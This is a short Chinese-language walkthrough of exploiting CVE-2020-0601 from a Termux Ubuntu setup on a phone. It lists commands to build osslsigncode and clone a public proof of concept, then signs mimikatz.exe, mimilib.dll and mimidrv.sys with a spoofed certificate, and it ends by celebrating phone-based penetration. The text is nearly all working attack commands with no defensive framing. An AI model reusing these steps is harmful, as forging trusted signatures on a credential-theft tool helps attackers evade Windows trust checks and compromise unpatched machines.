这是一个由美国国安局（NSA）提交的漏洞,出现漏洞的系统是2020年之前的win 10和windows server 2019
准备
基于Termux的乌班图 POC（https://github.com/ollypwn/CVE-2020-0601） 软件包: openssl 1.1.0 ruby 2.4.0 签名工具：signtool.exe（Visual Studio里面集成） 或osslsigncode （Linux 我只在Ubuntu（ARM）上实现过,官方上面写着Ubuntu和Debian都可以）
安装osslsigncode
git clone https://github.com/mtrojnar/osslsigncode.git
安装依赖环境
sudo apt-get update && sudo apt-get install build-essential autoconf libtool libssl-dev python3-pkgconfig libcurl4-gnutls-dev
安装指令
cd osslsigncode
./autogen.sh
./configure
make
make install
操作
git clone https://github.com/ollypwn/CVE-2020-0601.git
下载完成后，按照readme.md上”Code Signing”的命令操作（这次我选择了mimikatz作为测试对象）
cd CVE-2020-0601
"Code Signing"
......
osslsigncode sign -pkcs12 cert.p12 -n "Signed by moz" -in x64/mimikatz.exe -out 1.exe
osslsigncode sign -pkcs12 cert.p12 -n "Signed by moz" -in x64/mimilib.dll -out 1.dll
osslsigncode sign -pkcs12 cert.p12 -n "Signed by moz" -in x64/mimidrv.sys -out 1.sys
总结
乌班图的安装有点费力，不过这个结果我相当满意（不需要电脑就能完成基本渗透）
